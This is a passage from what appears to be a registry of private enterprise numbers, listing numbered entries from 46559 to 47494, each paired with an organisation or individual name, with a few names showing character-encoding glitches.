+46559 ESC - Electronic Service Center GbR
+46560 Cox Communications Inc - Engineering
+46561 BHS Sonthofen GmbH
+46562 Revenue Management Solutions, LLC
+46563 Virgin Islands Oncology & Hematology,PC
+46564 Entera AS
+46565 Wiollo Sp. z o.o.
+46566 Holbæk Kommune
+46567 DIROX
+46568 Moqom Limited
+46569 HybridDigital
+46570 Mithril Informatique
+46571 Fruit of the Loom
+46572 Comact Equipment Inc.
+46573 Stefan van Someren
+46574 Encore Systems, LLC
+46575 WorkCover Queensland
+46576 NFWare Inc.
+46577 Cloudstead, Inc.
+46578 Gereltei Systems
+46579 Pivotal Cloud Foundry
+46580 Braincoolant Oy
+46581 MalariaGEN
+46582 Robert-Bosch-Krankenhaus GmbH
+46583 Linoma Software
+46584 French Lick Resort
+46585 StrathTech
+46586 ProSiebenSat.1 Media SE
+46587 Institute of Low Temperature and Structure Research, Polish Academy of Sciences
+46588 Aptitude Technologies
+46589 Stifel Financial Corp
+46590 suretap wallet lp
+46591 Auditoria y Consultoria de Privacidad y Seguridad, S.L.
+46592 Gebr. Hoffmann Werkzeugmaschinen GmbH
+46593 JuntoTelecom
+46594 Matthew Wynn
+46595 smartbits
+46596 Hazelnut Software Ltd
+46597 OW2 Consortium
+46598 Industrielle Alliance Valeurs mobilières inc.
+46599 UAB Erisata
+46600 Mersoft Corporation
+46601 Inform-Mobil
+46602 kt Corporation
+46603 Xeron Universal Technologies
+46604 NetIndia Private Limited
+46605 WALLYS COMMUNICATIONS SDN BHD
+46606 Cisco Systems India Private Limited
+46607 VetRay N
+46608 SoftLab–NSK Co., Ltd.
+46609 The Wireless Innovation Forum
+46610 Sensorpoint, LLC
+46611 St Vincents Health Australia (NSW)
+46612 DV Impex, Ltd
+46613 JSC "SPO Angstrem"
+46614 BBM spol. s r. o.
+46615 WirelessCar
+46616 Anghel F. Dan-Alexandru PFA
+46617 Helse Nord IKT
+46618 AXEL
+46619 Centre Hospitalier Emile Mayrisch
+46620 Ferguson PLC
+46621 Thales Services France Toulouse
+46622 FLAG Solutions S.L.
+46623 Trunomi, Inc.
+46624 Flexoptix GmbH
+46625 wingtop co., ltd
+46626 zibernetics
+46627 Init Corporation
+46628 SC 4 WAVE BRO SRL
+46629 Joe Pitt
+46630 Dominique Dor
+46631 DeviousOps
+46632 Encinitas Country Day School
+46633 Oncology San Antonio
+46634 NIvetti Systems Private Limited
+46635 INTERSCHALT maritime systems AG
+46636 Honorardozent Peter Kruse
+46637 RaulWalter LLC
+46638 City of Sunrise
+46639 Jan Skogqvist
+46640 Caixa Economica Federal
+46641 MeterBee
+46642 National Documentation Centre
+46643 kittenberger.org
+46644 ZettaLogs
+46645 Aeronix
+46646 Wavelab Inc.
+46647 Michael G. Sullivan (MGS)
+46648 Brain4Net, Inc.
+46649 PTPd project
+46650 Humboldt Solutions Ltd
+46651 Dantherm Cooling A/S
+46652 Sertel Electronics UK Ltd
+46653 Raymond Chung Industries Corporation
+46654 Future Infrastructures Online Ltd.
+46655 Innofidei Technologies Inc.
+46656 Polskie Koleje Państwowe S.A.
+46657 EKCR
+46658 AssetOwl
+46659 BBR Verkehrstechnik GmbH
+46660 Volvo Group Telematics
+46661 Bucherer AG
+46662 Pointek
+46663 TORRING SYSTEMS CORP
+46664 Novatronic
+46665 Reshin
+46666 NPF Modem, Ltd.
+46667 Limited Liability Company «ICBCOM»
+46668 ENX Association
+46669 Job Corps
+46670 OCTAGON computer&communication
+46671 Medical Specialists of Fairfield, LLC.
+46672 PrimeDesign
+46673 Minoris
+46674 cantaa GmbH
+46675 Essential Energy
+46676 Weir Shared Services Ltd
+46677 XATU
+46678 naksitrallid.com
+46679 Bistum Würzburg
+46680 Control Techniques
+46681 SV Informatik GmbH
+46682 Applied Optoelectronics, Inc.
+46683 OkAlfred (formerly 'Zdravec Bulgaria Ltd')
+46684 Nazessen
+46685 Maag Informatik
+46686 Document Storage Systems, Inc.
+46687 Qualicorp SA
+46688 Karl Camilleri
+46689 Entria LLC
+46690 12Sided Technology, LLC
+46691 IDOBJECT
+46692 Ripple
+46693 BestCAS Ltd
+46694 KoreLogic, Inc.
+46695 Cancer Care of West Central Ohio
+46696 MastMinder Ltd
+46697 Unimar, Inc.
+46698 Cybersales a.s.
+46699 HCit Consultant
+46700 ICTrex
+46701 State Historical Museum
+46702 Control Service do Brasil Eireli.
+46703 aBjorne
+46704 Salib Oncology Hematology
+46705 Maestria en Seguridad Informatica Aplicada - ESPOL
+46706 Wowza Media Systems, LLC
+46707 Neocoretech SAS
+46708 Action for Children
+46709 BDO Canada LLP
+46710 Network Time Foundation
+46711 DoubleNegative.eu
+46712 Open Infrastructure
+46713 Datahealth
+46714 Cesa Inc
+46715 Bioptická laboratoř s.r.o.
+46716 TARGOBANK AG & Co. KGaA
+46717 Ibys Technologies S.A.
+46718 Sea Island Systems, Inc.
+46719 dtsi
+46720 LightFactor
+46721 Cancer Care Center, PC
+46722 Merge Security
+46723 United Educators Credit Union
+46724 Ferrograph Limited
+46725 Swift MT
+46726 U.S. Anesthesia Partners, Inc.
+46727 SOFTEK GLOBAL EDESIGN S DE RL DE CV
+46728 Heksagon Group Cy Ltd
+46729 Growing Energy Labs, Inc.
+46730 Route Weaver LLC
+46731 Institut fuer medizinische und pharmazeutische Pruefungsfragen
+46732 Vedang Radio Technology Pvt. Limited
+46733 DOM-P Zrt
+46734 TCCC
+46735 Silhouette International Schmied AG
+46736 Powertech IT Services S.R.L.
+46737 Amphinicy Technologies
+46738 Beeler IT Services
+46739 RONIT. N.THAKOR
+46740 Zendesk, Inc
+46741 Aspect Enterprise Solutions Inc.
+46742 Global Biodiversity Information Facility (GBIF)
+46743 Technology Architects LLC
+46744 Transaction Technologies Pte Ltd
+46745 Joe Thielen
+46746 Weill Cornell Medicine
+46747 The Christ Hospital Hem Onc
+46748 Alliance Technology Group, LLC
+46749 121 Marketing Services Group, Inc.
+46750 MobilSign Ltd.
+46751 Carrizo Oil & Gas, Inc.
+46752 THE MINNITI CENTER FOR MEDICAL ONCOLOGY & HEMATOLOGY
+46753 Hematology Oncology Clinic, LLP
+46754 NETFOX AG
+46755 Nexgen Oncology
+46756 Michael Oberdorf IT-Consulting
+46757 DeMoulas Market Basket, Inc.
+46758 CarMax
+46759 CoverMyMeds
+46760 Teksush.com
+46761 Groupe JVS
+46762 Atos IT Solutions and Services GmbH
+46763 alfer aluminium Gesellschaft mbH
+46764 HealthInsight
+46765 Sviaz-Bank
+46766 Creatcomm Technology
+46767 CarMax, Inc
+46768 Symphony Communication Services LLC
+46769 St. Leonard's Community Services
+46770 Benz Dataconsulting
+46771 Atos IT Services Sp. z o.o.
+46772 Brig Center for Cancer Care and Survivorship
+46773 Voss Kommunikasjon AS
+46774 K4Connect
+46775 Bourgeois Bits LLC
+46776 Westchester Cancer Care
+46777 Air New Zealand
+46778 NTx Back Office Consulting Group
+46779 Belgian Supreme Administrative Court
+46780 Domaincracy LLC
+46781 Sasola Limited
+46782 John Holland PTY LTD
+46783 Nephos6
+46784 COSMOVISION Co., Ltd.
+46785 Comark Communications LLC
+46786 blue-beam.de
+46787 Sony Computer Entertainment Shanghai Ltd.
+46788 Xabyss Inc.
+46789 Rains Corp.
+46790 TOYOTA MOTOR CORPORATION
+46791 Stephan Fiebrandt
+46792 ISON Technology Co., Ltd
+46793 ASAT Co., Ltd.
+46794 Decision Detective Corporation
+46795 Organization for Security and Co-operation in Europe
+46796 Bedrock Automation Platforms, Inc.
+46797 The self-financing Science Information Center for New Technologies under State Tax Committee of the Republic of Uzbekistan
+46798 RBS Services (Switzerland) Ltd
+46799 Interblock d.d.
+46800 Digitoll Information Technology and Servicing Ltd.
+46801 The Hut Group
+46802 The Business Clinic Ltd
+46803 BROCELIA
+46804 Himnark CJSC
+46805 Oncology Consultants
+46806 Mid Florida Hematology Oncology
+46807 Motiv Telecom Group
+46808 Fall River School District
+46809 KB PROMSVYAZ
+46810 Stockton University
+46811 L'Imprimerie
+46812 Konsortium ICT Pantai Timur
+46813 Sunbird Software, Inc.
+46814 SC3 Technologies Oü
+46815 Third Point LLC
+46816 HELM AG
+46817 Atam Holdings
+46818 VIVASECUR GmbH (formerly 'Systemhaus Scheuschner GmbH')
+46819 Attenda Ltd.
+46820 Telekom Malaysia Berhad
+46821 Commandus
+46822 Zhuhai Kingsoft Office Software Co Ltd
+46823 Siselectron Technology Ltd
+46824 Certly, Inc.
+46825 Loop Technologies Limited
+46826 OptimalMethods Ltd.
+46827 Affix Technology Co., Ltd.
+46828 Sea and Air Technology, S.L.
+46829 GLOCK Ges.m.b.H.
+46830 LearnConsult - DI Meitz & Ing. Pock OG
+46831 GRAUPNER medical solutions GmbH
+46832 Heylige FRau Latte
+46833 Synapses Technologies, LLC
+46834 Martin GmbH für Umwelt- und Energietechnik
+46835 rf152
+46836 Bilfinger GreyLogix GmbH
+46837 AZD Praha s.r.o.
+46838 Swaffer Consulting Ltd.
+46839 RED ELECTRICA DE ESPAÑA SAU
+46840 Christophorus Club e.V.
+46841 Hwacheon Machinery Europe GmbH
+46842 Hamburger Software GmbH & Co. KG
+46843 Newfield Automation Ltd.
+46844 Dreamtime.net (Thailand) Co., Ltd.
+46845 Interlink INC
+46846 FLOPNET
+46847 VALLEY MEDICAL & SURGICAL CLINIC
+46848 Lavelle Networks India Private Limited
+46849 Irving Independent School District
+46850 Tula State Center of Information Technology
+46851 Terremark
+46852 viagogo AG
+46853 PAC Enterprises
+46854 Hagenberger Kreis zur Förderung der digitalen Sicherheit
+46855 ShowCase PRO Tecnologia LTDA
+46856 ZPEG, Inc.
+46857 Park Controls & Communications (P) Ltd.
+46858 Dgoujard
+46859 Guangdong Quantum Technology Co., Ltd
+46860 Bittacle Consulting Limited
+46861 JVCKENWOOD Corporation
+46862 Digital Life Promotion Association
+46863 Bosch Thermotechnik GmbH
+46864 Embedtronics Oy
+46865 IS4U, s.r.o.
+46866 Virdata NV
+46867 Synthetel Corporation
+46868 Secure Energy Services
+46869 Torchmind
+46870 relaxt confusion labs e.U.
+46871 Magic Mike, Ltd
+46872 Bimex Energy AG
+46873 y1s2
+46874 Wavenet sprl
+46875 prodot GmbH
+46876 GE Lighting
+46877 ATB Financial
+46878 PermaGreen Supreme, Inc.
+46879 Lengvarsky.com
+46880 Technology Kitchen Corporation
+46881 henz.co
+46882 LSTI
+46883 Capsicum Business Architects
+46884 Freie ev. Gemeinde Giessen
+46885 TwoFive, Inc.
+46886 Beken Learning Systems, Inc.
+46887 Bulletin.net Ltd
+46888 KRDS
+46889 Gravity Academy Engineering
+46890 SOLUM Co., Ltd.
+46891 fmad engineering llc
+46892 TwelveBaud Studios, LLC
+46893 Antelope Enterprises
+46894 Hanwha S&C
+46895 NexDefense, Inc.
+46896 UNIACC Electronic Technology Ltd. of Suzhou
+46897 Virtual Hold Technology, LLC
+46898 Hewlett-Packard (Schweiz) GmbH
+46899 TDK LAMBDA LTD
+46900 TiePie engineering
+46901 Wilhelmsen Loom Consulting
+46902 Keegan Moodley Ltd
+46903 DE-CIX Management GmbH
+46904 Sepura plc
+46905 KTI RÃDIO, spol. s r.o.
+46906 Enghouse Networks Nordics AB
+46907 Qognify LTD
+46908 Ascot Industrial
+46909 Centric Housing & Healthcare
+46910 AIC S.A.
+46911 KERLINK
+46912 Nassauische Heimstaette Wohnungs- und Entwicklungsgesellschaft mbH
+46913 Hotspot Tiefenort
+46914 Administration des Ponts et Chaussées
+46915 raffel.biz
+46916 Aviva Voice Systems and Services SL
+46917 PC-TipTop
+46918 GRUPO REVENGA
+46919 Aadi Network Tools
+46920 DEVISE FUTURES - IT SOLUTIONS, LDA
+46921 Universidade Federal de Sao Joao del-Rei
+46922 Wolf GmbH
+46923 LG&E-KU LLC
+46924 Oncology Specialists of Charlotte, PA
+46925 EEBus Initiative e.V.
+46926 Midas Green Technologies
+46927 INVITE Networks Incorporated
+46928 r0ck.net
+46929 Uzma Iqbal MD PA
+46930 Sandelman Software Works
+46931 Welch Allyn Singapore Pte Ltd
+46932 PAO NEFAZ
+46933 Business&Decision
+46934 AFSOC
+46935 Provinzial NordWest
+46936 Ingenieurbüro Eggimann
+46937 Judo Atlas
+46938 Frederick Oncology Hematology Associates
+46939 Sentinel Technologies
+46940 Quantic Telecom
+46941 Noom, Inc.
+46942 Löwenfelsen UG (haftungsbeschränkt)
+46943 STC Systems
+46944 Beijing Yanglian technology co., LTD
+46945 Rafako S.A.
+46946 Transports Publics Genevois
+46947 Meplan GmbH
+46948 United Airlines, Inc.
+46949 Moore Family
+46950 FRZ Uni Leipzig
+46951 中山大学附属第一医院 (First Affiliated Hospital of Sun Yat-sen)
+46952 SecureAuth Corporation
+46953 Active8
+46954 Institut Puig Castellar
+46955 Wolfnet
+46956 Institute of Cosmophysical Research and Aeronomy of the Siberian Branch of the Russian Academy of Sciences
+46957 setelsa
+46958 New Cloud Technologies Ltd.
+46959 Jaxageto
+46960 mrn sa (formerly 'mrn lda')
+46961 emineo AG
+46962 Novaris Ltd.
+46963 Shenzhen United Innovation Automatic Control System Co., Ltd.
+46964 Yandik
+46965 Wordery
+46966 KIRACON Ltd.
+46967 Thompson Rivers University
+46968 Triad RF Systems
+46969 R&D Software Solutions srl
+46970 Borealis
+46971 GKeS
+46972 ICS Industries Pty Ltd
+46973 Datalab Software GmbH
+46974 EdgeTheory LLC
+46975 MediGroup
+46976 Rhebo GmbH (formerly 'Rhebo AG')
+46977 ELTEC Elektronik AG
+46978 The Akron Holding
+46979 Q&D Solutions
+46980 Ondics GmbH
+46981 Netclient as
+46982 Smart Concepts B.V.
+46983 inIT - Institute Industrial IT, OWL University of Applied Sciences and Arts
+46984 SABO Elektronik GmbH
+46985 Marcus Portmann
+46986 Meister Rechtsanwaelte
+46987 Cancer & Blood Disorders Treatment Center
+46988 CGI Deutschland
+46989 Systemservice Nordfriesland
+46990 ACCOLADE ELECTRONICS PVT. LTD.
+46991 Universitaetsmedizin Goettingen
+46992 IP CINT
+46993 TDP s.r.o.
+46994 ETS Schick
+46995 Tantalus Systems
+46996 Claus Queck GmbH
+46997 MyQuickCloud
+46998 CEHL
+46999 RAK
+47000 Converling Group B.V.
+47001 LCS Co.Ltd
+47002 System Controls Technology Solutions Private Limited
+47003 JSC VELAN
+47004 Secucloud Network GmbH
+47005 Fort Lewis College
+47006 TransneftEnergy, LLC
+47007 Ascent Resources
+47008 MBDA France
+47009 ISIS Bilisim Teknolojileri San. Tic. Ltd. Sti.
+47010 UK Ministry of Defence
+47011 Ozarks Community Hospital
+47012 SIMP
+47013 APTVISION LIMITED
+47014 BBS1 Mainz
+47015 Zeye Solutions
+47016 BlackSands Inc
+47017 Qumulo Inc.
+47018 ZeuSWarE GmbH
+47019 ApexSQL LLC
+47020 Flor Szoftver Ltd.
+47021 Real Time Automation, Inc.
+47022 TSI Automacao
+47023 Xolarsoft
+47024 Catalyze
+47025 Charles River Analytics, Inc.
+47026 Paraqum Technologies (Private) Limited
+47027 Quavant Networks, Inc.
+47028 Bund der Pfadfinderinnen und Pfadfinder e.V.
+47029 Thomas Tague
+47030 HAN Networks Co., Ltd
+47031 Shenzhen Eunicum Electric Co., Ltd.
+47032 Shanghai Yamu Technology Limited
+47033 LLC "66 Parallel"
+47034 CARS
+47035 trash.net
+47036 Ecosoft B.V. (trademark is Vidicode)
+47037 Jubic Oy
+47038 Université de Namur (UNamur)
+47039 312Telephony
+47040 ChuckStarter
+47041 gurtzick.net
+47042 Neragon Networks LTD
+47043 Illusion Ltd.
+47044 Charter Court Financial Services
+47045 MartinLefebvre.com
+47046 Bucks New University
+47047 Phoenix Home
+47048 Webnii
+47049 EndFirst LLC
+47050 The AREDN Project
+47051 Virtu Financial LLC
+47052 SK Planet
+47053 SOUTHEAST ASIA JOINT STOCK COMMERCIAL BANK (SeABank)
+47054 CJSC Transmashholding
+47055 GouldFLP
+47056 SunEdison Inc
+47057 CityLink Data Co,.Ltd
+47058 AlfaSix Tecnologia
+47059 Earth2 Software Pty Ltd.
+47060 elementmedia GmbH
+47061 Shenzhen headsun technology co.,ltd.
+47062 Isha Foundation
+47063 ZWAY CO.,LTD.
+47064 St. Joseph's Anglo-Chinese Primary School
+47065 TACACS.net, Inc.
+47066 VISQUAL Technologies
+47067 xlea.se GmbH
+47068 Optelix (Pty) Ltd
+47069 Economia per i Cittadini
+47070 Orell Fuessli Holding AG
+47071 Flash Systems
+47072 567.dk
+47073 Layka Soluciones
+47074 TRONTEQ Electronic
+47075 PROJECT-M
+47076 Bridgeway Security Solutions
+47077 Device Insight GmbH
+47078 JAPAN TELECOMMUNICATION ENGINEERING SERVICE CO., LTD.
+47079 Mott MacDonald
+47080 EDV-Beratung Baumgarten GmbH
+47081 Aragon Institute of Engineering Research
+47082 Mobiquithings
+47083 Advanced Vision Technology LTD
+47084 Stade Toulousain Rugby
+47085 Controles Inteligentes S.A.S
+47086 Olmsted County Minnesota
+47087 Masonic Villages of the Grand Lodge of PA
+47088 Pro-hosting s.r.o.
+47089 Ramp Holdings, Inc.
+47090 Exdev
+47091 Cancer and Blood Specialist of Northern Virginia, PC
+47092 Tangible Trade
+47093 DeMaTech HB
+47094 Sielte S.p.A.
+47095 Subtopia Ltd
+47096 Unisphone
+47097 ARDIAN
+47098 Lloyd Industries Inc.
+47099 G4S Security Systems (Hungary) Ltd.
+47100 Linkscreens SRL
+47101 DAS-Online
+47102 Global Technology Solutions
+47103 PLC Technology, LLC
+47104 Agentia pentru Agenda Digitala a Romaniei
+47105 Together Bulgaria
+47106 Spearline Labs
+47107 Shaw Academy
+47108 Beeper Communications Ltd.
+47109 Abaco Systems
+47110 Agenzia per l'Italia Digitale
+47111 Baker Hill Solutions, LLC
+47112 Louisiana Division of Administration
+47113 Aviacomm Inc.
+47114 WOM Engineering
+47115 The Star Entertainment Group Limited
+47116 NPL Management Ltd
+47117 Spaulding Clinical
+47118 Asian Arts Talents Foundation
+47119 SCIFI
+47120 Solustic - Solucoes em Tecnologia
+47121 TDCH A/S
+47122 BVL Group Ltd
+47123 CODEC CO.,LTD.
+47124 Schmied Elektronik & Software
+47125 IDEAS S.R.L.
+47126 earthTV network GmbH
+47127 Yoti Ltd
+47128 Insobis GmbH
+47129 SECURA Insurance Companies
+47130 Al Yah Satellite Communication Company PJSC (Yahsat)
+47131 ViktorBalogh
+47132 Thinking Automation, Inc.
+47133 Research Capital Group, Inc.
+47134 FROG CELLSAT LIMITED
+47135 MotionLED Technology Ltd.
+47136 4S Information Technologies
+47137 Andre Grosse Bley
+47138 Noble 3D Printers, LLC
+47139 MaTelSo GmbH
+47140 DSG Systems AS
+47141 PT. WIRAKY NUSA TELEKOMUNIKASI
+47142 CoralTree Systems
+47143 iSnapp
+47144 CommerceHub
+47145 Telonic Berkeley Inc
+47146 Unassigned
+47147 Avionics Interface Technologies
+47148 Winston Brands Inc.
+47149 Adaptrum Inc.
+47150 Virginia Cancer Institute
+47151 CoinBau GmbH
+47152 Dovecot Oy
+47153 Brunke electronic
+47154 Stabilitas
+47155 VINTEGRIS SL
+47156 Haus Michael auf Draht e.V.
+47157 Boston Scientific Corporation
+47158 Clipcomm Inc.
+47159 Jevons Global Pty Ltd
+47160 Centorrino Technologies
+47161 Stuttgarter Haus- und Grundbesitzerverein e. V.
+47162 Ote SA (Hellenic Telecommunications Organisation)
+47163 Banka Koper d.d.
+47164 Ciudad del Motor de Aragon, SA
+47165 Self Esteem Brands
+47166 Digital Insyte, LLC
+47167 AB LITGRID
+47168 Guangzhou Yinxun Comm. Tech. Co., LTD
+47169 JSS Technologies, LLC
+47170 Skylark Technology Inc.
+47171 Maximus, Inc.
+47172 OMNITEC SOLUTIONS, Inc.
+47173 Openwave Messaging
+47174 Compute Canada
+47175 Cosylab d.d.
+47176 gbltech.net
+47177 Diplomat Pharmacy, Inc.
+47178 Seneca Mortgage Servicing LLC
+47179 Infosec Global Inc
+47180 Unite Control Sp. z o.o.
+47181 Capella Systems, LLC
+47182 Applied Micro Design Inc.
+47183 Studer Innotec SA
+47184 LifeTech
+47185 TOPCON CORPORATION
+47186 CryoWerx
+47187 Global Blue Service Company Austria GmbH
+47188 Slovenske elektrarne, a.s.
+47189 EPICT Italy
+47190 HCMI datasharing consortium
+47191 Bulat LLC
+47192 Central Bank of Ireland
+47193 ATICEL - Advanced Tech Cell
+47194 Asesoria Telematica Canarias SL
+47195 Gradkell Systems, Inc.
+47196 Hewlett Packard Enterprise
+47197 Rainbow Crow
+47198 IVALUA SAS
+47199 ISEC7
+47200 realraum - Verein für Technik in Kultur und Gesellschaft
+47201 Vivid-Hosting, LLC
+47202 Top Down Systems Corporation
+47203 Flipit Marketing Ltd (formerly 'Reactiv Media Ltd')
+47204 «КВÐÐТЭКС» Limited liability partnership («QUANTEX»)
+47205 Lake Superior State University
+47206 Brnit
+47207 DAVID Systems GmbH
+47208 Ensinger GmbH
+47209 MonkZ
+47210 ug consult
+47211 Ecole Polytechnique Fédérale de Lausanne
+47212 MailInBlack
+47213 Nechi Group
+47214 4all Tecnologia
+47215 Markus Losco
+47216 Mundio Mobile Holding Limited
+47217 Einstein Medical Center
+47218 websix GmbH
+47219 Primary Data
+47220 IUT de BEZIERS
+47221 µE Kunst
+47222 Megapath
+47223 IQlunch
+47224 Maersk Oil
+47225 David Garner NZ
+47226 Walker Digital Table Systems
+47227 EPI-USE Systems
+47228 Evolution Gaming, Ltd.
+47229 SIPO Global
+47230 Gafachi, Inc.
+47231 Foxconn Corporation
+47232 RodNoc
+47233 TELENT TECHNOLOGY SERVICES LIMITED
+47234 Suffolk County Scouts
+47235 QXIP
+47236 MarSoftware
+47237 SYSTEMES INFORMATION HARMONIE MUTUELLE SIHM GIE
+47238 AIS Advanced Info Service
+47239 Braincarta
+47240 Syncsort Inc.
+47241 DZIECIECY SWIAT Krzysztof Pytko
+47242 CoreOS, Inc
+47243 Steelcase, Inc.
+47244 Roku Inc.
+47245 Shar3d Interactive
+47246 JF Zwobada
+47247 SILKAN SA
+47248 Ramarc Innovations
+47249 Pjano Consulting AB
+47250 ProMDM d.o.o.
+47251 WEBSPH
+47252 City of West Lafayette
+47253 secureNET Switzerland Inc.
+47254 Western Australian Internet Association Inc.
+47255 T&T sistemi srl
+47256 INSTER Tecnologia y Comunicaciones
+47257 DBC A/S
+47258 The Automobile Association (AA PLC)
+47259 LUNATICANET
+47260 Electrontechnika
+47261 OBI Smart Technologies mbH
+47262 LSware Inc.
+47263 HEITZ Jean-Marie
+47264 New Zealand Customs Service
+47265 HWADAR Technologies Co., Ltd.
+47266 Prochista Irsa Tech Ltd.
+47267 OpenSwitch
+47268 FARMING BITS, LDA
+47269 Pluribus Networks, Inc
+47270 Felixfound
+47271 Dreamlab Onet.pl SA
+47272 Evrotrust JSC
+47273 LLAMMA SK
+47274 CPK Interior Products
+47275 Hirschmann Multimedia B.V.
+47276 Helsana Versicherungen AG
+47277 Hochschule Weihenstephan-Triesdorf
+47278 TeskaLabs Ltd
+47279 ITCENTER
+47280 Imagen Technologies
+47281 Auloce S.A.
+47282 The LinchPinGroup, LLC
+47283 PJSC SOLLERS
+47284 Cyber IT Solutions
+47285 LLC "Smartbrood"
+47286 UANATACA S.A.
+47287 Brabbler Secure Message and Data Exchange Aktiengesellschaft
+47288 COMMUNITHINGS S.A.
+47289 SpacePath Communications
+47290 Johnson Computers
+47291 Deep Groups
+47292 Luxar Tech Inc
+47293 STILLITS
+47294 NPort Networks, Inc.
+47295 Marvin Gülker
+47296 Arctic Paper Kostrzyn S.A.
+47297 hotelleriesuisse
+47298 Pastem Solutions, Ltd.
+47299 P2 Wireless Technologies Limited
+47300 NTT DATA Business Solutions AG
+47301 "NR"WEB US
+47302 Alnatura Produktions- und Handels GmbH
+47303 Moratua Solutions
+47304 Ivnosys Soluciones S.L.U.
+47305 FoxGuard Solutions
+47306 Jasper
+47307 IgniteNet
+47308 Lanbowan Technology Ltd.
+47309 Sofia Digital, Ltd.
+47310 botanic
+47311 Seacomp s.r.o.
+47312 Searidge Technologies
+47313 Adenon Bilisim ve Iletisim Tek. San. ve Tic. Ltd. Sti.
+47314 Torrential Data Solutions, Inc.
+47315 Wahsega Labs
+47316 True Manufacturing
+47317 University of Warsaw
+47318 Optigo Networks
+47319 Riella Systems
+47320 Advanced Enterprise Solutions Limited
+47321 memit.de
+47322 Office IT-Partner Borås
+47323 TrustKo
+47324 Mokop, Bartosz RebeÅ›
+47325 Suzhou Robot Information Technology Co.,Ltd.
+47326 yanyuxieyang
+47327 Kassenärztliche Vereinigung Nordrhein
+47328 Simulity Labs
+47329 Stancke Transporte GmbH & Co. KG
+47330 Murrelektronik GmbH
+47331 Pro:Atria Ltd.
+47332 Current, powered by GE
+47333 Asintel, S.L.
+47334 trendytech
+47335 Superwave Group LLC
+47336 Iguana Comunicacions SL
+47337 Security On-Demand, Inc.
+47338 Bob Ziuchkovski Free/Libre and Open Source Software
+47339 Hessware GmbH
+47340 Handysoft,co.ltd.
+47341 Syllaba Press International Inc.
+47342 VITAL WILLIAM CONSEIL
+47343 ElektronIT GmbH
+47344 COMSYS Communications Systems Service GmbH
+47345 Variant
+47346 Laurenz Wagner
+47347 MIRACL
+47348 Centro de Tradições Nordestinas
+47349 Rockwell Automation
+47350 Securian Financial Group
+47351 Premium Security Broadband
+47352 AMPAREX GmbH
+47353 HornasjövägenIT
+47354 Avista Corporation
+47355 Metamarkets
+47356 Cress Enterprises
+47357 Technology Concepts & Design, Inc.
+47358 HenzHome Services
+47359 stary tec
+47360 MAX-TECH
+47361 KT&C CO., LTD.
+47362 Woningstichting Haag Wonen
+47363 SYSTEM Development Inc.
+47364 SIRIETA
+47365 Wabtec Railway Electronics
+47366 Arturs Plisko
+47367 Transport for New South Wales
+47368 dainox GmbH
+47369 Canal Digital AS
+47370 Lorindus
+47371 Shine Security Ltd
+47372 MariaDB Corporation Ab
+47373 Octopod Technology Company Limited
+47374 Sitex Inc.
+47375 Turpeinen
+47376 Taqniat Ltd
+47377 International Software Systems Inc. (ISSI)
+47378 Threema GmbH
+47379 IoT.nxt Pty Ltd
+47380 Zagrebacka banka d.d.
+47381 Omnitelecom
+47382 UMAITEK
+47383 Kaessbohrer Geländefahrzeug AG
+47384 Sartorius Mechatronics T+H GmbH
+47385 Sveaskog Förvaltnings AB
+47386 US Signal
+47387 0xBEDA, LLC
+47388 SeGuru Corp.
+47389 State Universities Retirement System
+47390 Affinity Credit Union 2013
+47391 Green Cubes Technology Corporation
+47392 FAWONG
+47393 Koalephant Co., Ltd.
+47394 BKT Elektronik Sp. z o.o.
+47395 East Central Oncology
+47396 CJSC TransProektInzhiniring
+47397 IT-Wissen.org
+47398 AVP Technology
+47399 AMAG Technology
+47400 Cottonwood Creek Technologies, Inc.
+47401 Hotel Internet Services
+47402 VALID CERTIFICADORA DIGITAL LTDA
+47403 Connect Managed Services
+47404 Coligo AB
+47405 Brukarkooperativet JAG
+47406 Tactic Code AB
+47407 Forester IT
+47408 Pankraz Elektronik
+47409 Javier Pastor
+47410 InfraSource Inc.
+47411 Esferize Comunicaciones SL
+47412 SAIFER ASSOCIATES LTD
+47413 Caprica Limited
+47414 Burgstaller
+47415 Voxaware Ltd.
+47416 3Shape Medical A/S
+47417 Associazione La Nostra Famiglia
+47418 Key Bridge Wireless
+47419 Halter AG
+47420 2scale GmbH
+47421 Cohesity Inc.
+47422 imito AG
+47423 Viamericas Corporation
+47424 RPCI Oncology, PC
+47425 BASYS Bartsch EDV-Systeme GmbH
+47426 Triolan Limited Inc.
+47427 PULLNET TECHNOLOGY, S.L.
+47428 Taras Shevchenko National University of Kyiv
+47429 NOWMEDIA TECHNOLOGIES
+47430 Ifixmail.com
+47431 CrowdStrike Inc.
+47432 Diamond Technologies Inc.
+47433 DAC System SA
+47434 COUNT+CARE GmbH & Co. KG
+47435 Roksnet Solutions LTD
+47436 Lufthansa Systems GmbH & Co. KG
+47437 Vagaro Inc.
+47438 tofutown gmbh
+47439 Alexander Zaigraev
+47440 Stellus Technologies
+47441 Lagardère Ressources
+47442 Highlands Oncology Group
+47443 Jockulator Studios North
+47444 Milwaukee School of Engineering
+47445 Telestream LLC
+47446 443 IT
+47447 UniqCast
+47448 Intis d.o.o.
+47449 Ryanair Ltd
+47450 Cloud Foundry Foundation
+47451 OmegaStar
+47452 QMS Capital Management LP
+47453 Gobierno de Santa Fe
+47454 Area d'Inxenieria Telematica - University of Oviedo
+47455 Sydved AB
+47456 Vodafone NZ Limited
+47457 SAS Orbitracs
+47458 GIGANET NETWORKING SOLUTIONS LTD
+47459 BKM-Micronic Richtfunkanlagen GmbH
+47460 LiquidCool Solutions
+47461 Lit Consulting
+47462 ChangZhou Taiping Communication Technology Co.Ltd
+47463 bestrun nanjing, co.ltd
+47464 IN WIN Development Inc.
+47465 CDB Monolit
+47466 Lab3 e.V.
+47467 Allianz Insurance Company Russia OJSC
+47468 Trueverit
+47469 Presence Technology
+47470 CGI Sverige
+47471 Apogey Ltd
+47472 Purkinje Inc.
+47473 Resurs-Komplekt LLC
+47474 Sonn & Partner Patentanwälte
+47475 ShenZhen Smart Imaging Healthcare Co.,Ltd.
+47476 medi.com sp. z o.o.
+47477 CGS Tower Networks Ltd.
+47478 NetSection Security
+47479 Artec Design LLC
+47480 TECO Ltd
+47481 RADD Web Studio
+47482 ATVIRTUAL.NET KG
+47483 Mcallen Oncology
+47484 Quest Medical Imaging B.V.
+47485 ArmySr
+47486 Factorial Advance Systems Ltd
+47487 Leroy Merlin Polska Sp. z o.o.
+47488 Nedam ENG. Co., ltd.
+47489 Techonline Consulting Ltd
+47490 Nordea AEP Luxembourg
+47491 Feenix Communications
+47492 Carnelutti Studio Legale Associato
+47493 SHENZHEN GYE TECH CO.,LTD
+47494 AO-27 Control Operators Association
